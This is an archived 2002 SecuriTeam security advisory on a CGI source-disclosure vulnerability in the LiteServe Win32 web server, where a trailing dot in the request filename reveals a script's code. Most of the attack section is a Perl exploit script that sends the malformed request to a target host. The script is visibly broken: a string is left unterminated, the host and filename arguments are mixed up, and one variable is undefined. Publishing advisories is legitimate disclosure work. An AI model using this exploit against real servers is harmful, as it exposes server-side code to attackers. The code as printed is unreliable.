[NT] Perception LiteServe HTTP CGI Disclosure Vulnerability

From: support@securiteam.com
Date: 11/17/02

  • Next message: support@securiteam.com: "[UNIX] Netscape/Mozilla Contains an Exploitable Heap Corruption via JAR URI Handler"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 17 Nov 2002 19:12:29 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Perception LiteServe HTTP CGI Disclosure Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    Christopher Fillion's "Perception" web site hosts the LiteServe
    combination server for Win32. The server offers HTTP, FTP, SMTP, POP3, and
    Telnet services. Included in the HTTP service is a Common Gateway
    Interface (CGI) feature that allows you to specify a CGI alias, as well as
    "filters" that are run when a file of a particular type is accessed.

    DETAILS

    A vulnerability in the server related to the handling of filenames on
    Win32 platforms may reveal the code of a desired CGI script to an
    attacker. Windows handles file names with the "." character (0x2E) on the
    end as if the said character had been removed. LiteServe fails to
    compensate for this behavior, and is vulnerable to a simple CGI disclosure
    attack.

    The upcoming release of LiteServe 2.03 should eliminate this
    vulnerability.

    Exploit:
    #!/usr/bin/perl
    #
    # LS_FETCH.PL
    # By Matthew Murphy
    # LiteServe 2.02 and prior - CGI Disclosure
    # Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
    use IO::Socket;
    use URI::Escape;

    $alias = "cgi-isapi"; # Default LiteServe CGI alias
    $port = 80;
    if (@ARGV < 2 || @ARGV > 4) {
    print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
    } else {
    if (@ARGV >= 3) {
    $alias = $ARGV[2];
    }
    if (@ARGV == 4) {
    $port = $ARGV[3];
    }
    $filename = $ARGV[1];
    $host = $ARGV[2];
    $f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
    $f->autoflush(1);
    $b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
    print $f $b;
    while (defined($line=<$f>)) {
    print STDOUT $line;
    }
    undef $f;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mattmurphy@kc.rr.com> Matt
    Murphy.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages

    • [NEWS] CCBills WhereAmI CGI Allows Remote Command Execution
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada. ... to promote the most advanced vulnerability assessment solutions today. ... vulnerability in the CGI allows remote attackers to execute commands on ...
      (Securiteam)
    • Re: New http exploit ???
      ... I guess this is a signature of whisker scan 99%. ... scaned vulnerability of web CGI using `whisker`. ...
      (comp.os.linux.security)
    • Re: Bareword errors?
      ... fact that CGI.pm securely parses CGI arguments does not imply a claim that doing so is all that's needed to securely write CGI applications. ... He didn't just claim that CGI.pm makes a difference as regards security, he talked about "putting your web site, server and users at risk" if you choose to not use it. ... my belief is that using such arguments for advocating the use of CGI.pm _does_ give the incorrect impression that you write significantly more secure CGI programs only by using it. ...
      (comp.lang.perl.misc)
    • Re: Problems with LWP::UserAgent
      ... Providing interactive features in the CGI ... Batch harvesting of pages meant for human perusal, ... I have no desire to circumvent Safari's security -- I'm ... the web site. ...
      (perl.beginners)
    • [UNIX] Multiple Vulnerabilities in Tiny HTTPd
      ... compromising of the whole system due to command execution vulnerability). ... 111 if (!cgi) // because cgi is not, ... And that the function that executes the CGI in line:185. ... bash$ cat> test; chmod +x test ...
      (Securiteam)